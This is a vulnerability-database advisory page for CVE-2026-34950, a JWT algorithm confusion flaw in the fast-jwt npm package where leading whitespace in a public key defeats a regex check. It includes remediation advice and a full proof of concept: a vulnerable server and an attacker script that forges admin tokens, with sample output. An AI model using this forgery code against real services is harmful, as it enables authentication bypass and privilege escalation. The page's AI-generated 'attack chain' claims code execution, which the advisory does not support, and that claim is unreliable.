Skip to main content

PostgreSQL EUVDEUVD-2026-19356

| CVE-2026-34950 CRITICAL
Use of a Broken or Risky Cryptographic Algorithm (CWE-327)
2026-04-02 https://github.com/nearform/fast-jwt GHSA-mvf2-f6gm-w987
9.1
CVSS 3.1 · Vendor: https://github.com/nearform/fast-jwt
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send JWT with leading whitespace in public key
  2. Exploit
    Bypass publicKeyPemMatcher regex anchor
  3. Execution
    Trigger algorithm confusion attack
  4. Impact
    Execute arbitrary code with elevated privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A04:2025 - Cryptographic Failures
ASVS 5.0
V11 - Cryptography Approved algorithm selection
Exploitation Conditions

fast-jwt library versions after v3.3.2 with incomplete CVE-2023-48223 fix where attacker controls JWT payload containing public key with leading whitespace characters in PEM format string

Impact

Real-world risk is high despite no confirmed active exploitation. The CVSS 9.1 score accurately reflects the technical severity: network-accessible (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), with high confidentiality and integrity impact (C:H/I:H). EPSS data not provided, but the attack prerequisites are minimal-only knowledge of the public key, which is non-secret by cryptographic design. The vulnerability is particularly insidious because it bypasses a previous CVE fix, suggesting organizations may have false confidence in their security posture after applying CVE-2023-48223 patches. The attack surface is broad: the advisory identifies PostgreSQL/MySQL text storage, YAML configurations, and environment variables as common sources of leading whitespace, all standard deployment patterns. The detailed proof-of-concept in the advisory demonstrates full exploit chain from token acquisition through privilege escalation. While no weaponized exploit exists in public repositories, the PoC is production-ready and easily adaptable. Organizations using fast-jwt with RS256 in microservices architectures (where JWT-based authentication is prevalent) face immediate risk of authorization bypass, potentially enabling lateral movement, data exfiltration, or administrative takeover depending on token claims.

Exploit ScenarioDerived

An attacker targets a Node.js API using fast-jwt for session authentication. The application stores RSA public keys in a PostgreSQL database, which returns the key with a leading newline character. The attacker first obtains a legitimate low-privilege token (e.g., with admin: false claim) by registering a normal user account. They extract the RSA public key from the JWT header's jwk parameter, a public certificate endpoint, or by analyzing error messages. Using the provided proof-of-concept, the attacker crafts a forged HS256 token with modified claims (admin: true, elevated permissions) by signing the payload with HMAC-SHA256 using the public RSA key as the secret. When the forged token is presented to the /api/admin endpoint, fast-jwt's vulnerable algorithm detection misclassifies the whitespace-prefixed public key as an HMAC secret, validates the HS256 signature successfully, and grants administrative access. The attacker can now

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 02, 2026

JWT algorithm confusion in fast-jwt npm package allows remote attackers to forge authentication tokens with arbitrary claims by exploiting incomplete CVE-2023-48223 remediation. The vulnerability (CVSS 9.1 Critical) affects applications using RS256 with public keys containing leading whitespace-a common scenario in database-stored keys, YAML configurations, and environment variables. Attackers possessing the RSA public key (inherently public information) can craft HS256 tokens accepted as valid

Earlier versions of this analysis (1)
v1 Apr 02, 2026 - 21:01 CVSS 9.1

JWT algorithm confusion in fast-jwt npm package allows remote attackers to forge authentication tokens with arbitrary claims by exploiting incomplete CVE-2023-48223 remediation. The vulnerability (CVSS 9.1 Critical) affects applications using RS256 with public keys containing leading whitespace-a common scenario in database-stored keys, YAML configurations, and environment variables. Attackers possessing the RSA public key (inherently public information) can craft HS256 tokens accepted as valid by the verifier, enabling privilege escalation (e.g., admin: false → admin: true). No authentication required (PR:N), network-exploitable (AV:N), low complexity (AC:L). No public exploit identified at time of analysis, though detailed proof-of-concept code exists in the advisory.

RemediationAI

Upgrade to a patched version of fast-jwt when the vendor releases a fix addressing this issue (monitor https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987 for updates). As an immediate workaround, explicitly specify the algorithm parameter when calling createVerifier to bypass the vulnerable auto-detection logic: createVerifier({ key: publicKey, algorithms: ['RS256'] }). This forces the verifier to reject tokens using mismatched algorithms, preventing the confusion attack. Additionally, normalize public key strings by calling .trim() before passing them to fast-jwt functions to remove leading/trailing whitespace: const verifier = createVerifier({ key: publicKey.trim() }). For defense in depth, audit all public key storage and retrieval mechanisms-particularly database queries, YAML parsers, and environment variable handlers-to ensure they do not introduce extraneous whitespace. Review application logs for rejected tokens with algorithm mismatch errors, which may indicate exploitation attempts. Consider implementing additional JWT validation layers using libraries like jsonwebtoken or jose as secondary verification, and enforce strict algorithm allowlists at the application layer independent of library auto-detection.

Affected VersionsENISA

fast-jwt ≤ 6.1.0

Affected Packages

npm fast-jwt fix: 6.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in fast-jwt's algorithm auto-detection logic (crypto.js:performDetectPublicKeyAlgorithms). When verifying JWTs without explicit algorithm specification, the library examines the key material to determine allowed algorithms. The fix for CVE-2023-48223 replaced a permissive string search with a regex using a strict start-of-string anchor (^-----BEGIN(?: (RSA))? PUBLIC KEY-----). However, this anchor fails when PEM-encoded public keys contain leading whitespace characters (spaces, tabs, newlines)-a condition absent from the corresponding private key detection path, which calls .trim() before matching. When the regex fails to match, RSA public keys fall through to the hsAlgorithms code path, enabling JWT algorithm confusion (CWE-327). The attacker can then create an HS256 token using the public RSA key as the HMAC secret. Because HMAC is symmetric and the public key is known, the forged token passes signature verification. This exploits the semantic gap between asymmetric (RS256) and symmetric (HS256) cryptography, a classic JWT vulnerability pattern. Leading whitespace in PEM strings commonly occurs when keys are retrieved from PostgreSQL/MySQL text columns with trailing newlines, YAML multiline literals (| or > block scalars), or environment variables with embedded line breaks.

Know when PostgreSQL gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nearform/fast-jwt) PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/nearform/fast-jwt) · only source for this CVE.

CVSS VectorVendor: https://github.com/nearform/fast-jwt

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch released
Apr 07, 2026 - 20:30 nvd
Patch available
CVE Published
Apr 02, 2026 - 20:37 nvd
CRITICAL 9.1

DescriptionCVE.org

Summary

The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.

Details

The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a plain string used with .includes() to a regex used with .match():

  // Before fix (vulnerable to original CVE)
  const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'
  // .includes() matched anywhere in the string - not vulnerable to whitespace

  // After fix (current code, line 28)
  const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/
  // ^ anchor requires match at position 0 - defeated by leading whitespace

  In performDetectPublicKeyAlgorithms()
  (https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):

  function performDetectPublicKeyAlgorithms(key) {
    const publicKeyPemMatch = key.match(publicKeyPemMatcher)  // no .trim()!

    if (key.match(privateKeyPemMatcher)) {
      throw ...
    } else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {
      return rsaAlgorithms      // ← correct path: restricts to RS/PS algorithms
    } else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {
      return hsAlgorithms        // ← VULNERABLE: RSA key falls through here
    }

When the key string has any leading whitespace (space, tab, \n, \r\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the HMAC secret - the exact same attack as CVE-2023-48223.

Notably, the private key detection function does call .trim() before matching https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79: const pemData = key.trim().match(privateKeyPemMatcher) // trims - not vulnerable

The public key path does not. This inconsistency is the root cause.

Leading whitespace in PEM key strings is common in real-world deployments:

  • PostgreSQL/MySQL text columns often return strings with leading newlines
  • YAML multiline strings (|, >) can introduce leading whitespace
  • Environment variables with embedded newlines
  • Copy-paste into configuration files

PoC

Victim server (server.js):

  const http = require('node:http');
  const { generateKeyPairSync } = require('node:crypto');
  const fs = require('node:fs');
  const path = require('node:path');
  const { createSigner, createVerifier } = require('fast-jwt');

  const port = 3000;

  // Generate RSA key pair
  const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
  const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });
  const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });

  // Simulate real-world scenario: key retrieved from database with leading newline
  const publicKeyFromDB = '\n' + publicKeyPem;

  // Write public key to disk so attacker can recover it
  fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);

  const server = http.createServer((req, res) => {
    const url = new URL(req.url, `http://localhost:${port}`);

    // Endpoint to generate a JWT token with admin: false
    if (url.pathname === '/generateToken') {
      const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };
      const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });
      const token = signSync(payload);
      res.writeHead(200, { 'Content-Type': 'application/json' });
      res.end(JSON.stringify({ token }));
      return;
    }

    // Endpoint to check if you are the admin or not
    if (url.pathname === '/checkAdmin') {
      const token = url.searchParams.get('token');
      try {
        const verifySync = createVerifier({ key: publicKeyFromDB });
        const payload = verifySync(token);
        res.writeHead(200, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify(payload));
      } catch (err) {
        res.writeHead(401, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({ error: err.message }));
      }
      return;
    }

    res.writeHead(404);
    res.end('Not found');
  });

  server.listen(port, () => console.log(`Server running on http://localhost:${port}`));

Attacker script (attacker.js):

  const { createHmac } = require('node:crypto');
  const fs = require('node:fs');
  const path = require('node:path');

  const serverUrl = 'http://localhost:3000';

  async function main() {
    // Step 1: Get a legitimate token
    const res = await fetch(`${serverUrl}/generateToken?name=attacker`);
    const { token: legitimateToken } = await res.json();
    console.log('Legitimate token payload:',
      JSON.parse(Buffer.from(legitimateToken.split('.')[1], 'base64url')));

    // Step 2: Recover the public key
    // (In the original advisory: python3 jwt_forgery.py token1 token2)
    const publicKey = fs.readFileSync(path.join(__dirname, 'public_key.pem'), 'utf8');

    // Step 3: Forge an HS256 token with admin: true
    // (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)
    const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
    const payload = Buffer.from(JSON.stringify({
      admin: true, name: 'attacker',
      iat: Math.floor(Date.now() / 1000),
      exp: Math.floor(Date.now() / 1000) + 3600
    })).toString('base64url');
    const signature = createHmac('sha256', publicKey)
      .update(header + '.' + payload).digest('base64url');
    const forgedToken = header + '.' + payload + '.' + signature;

    // Step 4: Present forged token to /checkAdmin
    // 4a. Legitimate RS256 token - REJECTED
    const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);
    console.log('Legitimate RS256 token:', legRes.status, await legRes.json());

    // 4b. Forged HS256 token - ACCEPTED
    const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);
    console.log('Forged HS256 token:', forgedRes.status, await forgedRes.json());
  }

  main().catch(console.error);

Running the PoC:

Terminal 1

node server.js

Terminal 2

node attacker.js

Output: Legitimate token payload: { admin: false, name: 'attacker', iat: 1774307691 } Legitimate RS256 token: 401 { error: 'The token algorithm is invalid.' } Forged HS256 token: 200 { admin: true, name: 'attacker', iat: 1774307691, exp: 1774311291 }

The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker's forged HS256 token is accepted with admin: true.

Impact

Applications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify function without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads which will be accepted by the verifier. This is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original CVE: the attacker only needs knowledge of the server's RSA public key (which is public by definition).

Executive ViewAI

Why It Matters

CVE-2026-34950 is a critical JWT authentication bypass in the fast-jwt npm package that allows unauthenticated attackers to forge admin tokens and escalate privileges by exploiting whitespace handling in RSA public key validation. This affects any application using fast-jwt with RS256 algorithm verification where public keys are sourced from databases, configuration files, or environment variables-a widespread pattern in production systems. Without patching, attackers can elevate unprivileged accounts to administrative access with no credentials required.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigation: implement application-level validation to sanitize RSA public keys by removing leading/trailing whitespace before passing to fast-jwt verification; add token claim validation logic to reject unexpected privilege escalations (e.g., deny admin:true claims for non-admin accounts); enable enhanced JWT logging and alerting on algorithm confusion indicators (HS256 tokens after RS256 deployment); restrict RSA public key sources to read-only, version-controlled repositories only (remove environment variable sourcing if possible).

Threat Intelligence Overview

EPSS Score
0.0%
Top 94% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-1094 HIGH POC
8.1 Feb 13

PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl

CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2013-1899 MEDIUM POC
6.5 Apr 04

Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re

CVE-2026-20253 CRITICAL POC
9.8 Jun 10

Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.

CVE-2026-9586 CRITICAL POC
9.3 Jul 17

Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar

CVE-2017-7546 CRITICAL
9.8 Aug 16

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow

CVE-2015-1352 MEDIUM POC
5.0 Mar 30

The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t

CVE-2024-10553 CRITICAL POC
9.8 Mar 20

A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra

CVE-2019-9193 HIGH POC
7.2 Apr 01

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve

CVE-2026-40887 CRITICAL POC
9.1 Apr 14

Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the

CVE-2022-24760 CRITICAL POC
10.0 Mar 12

Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy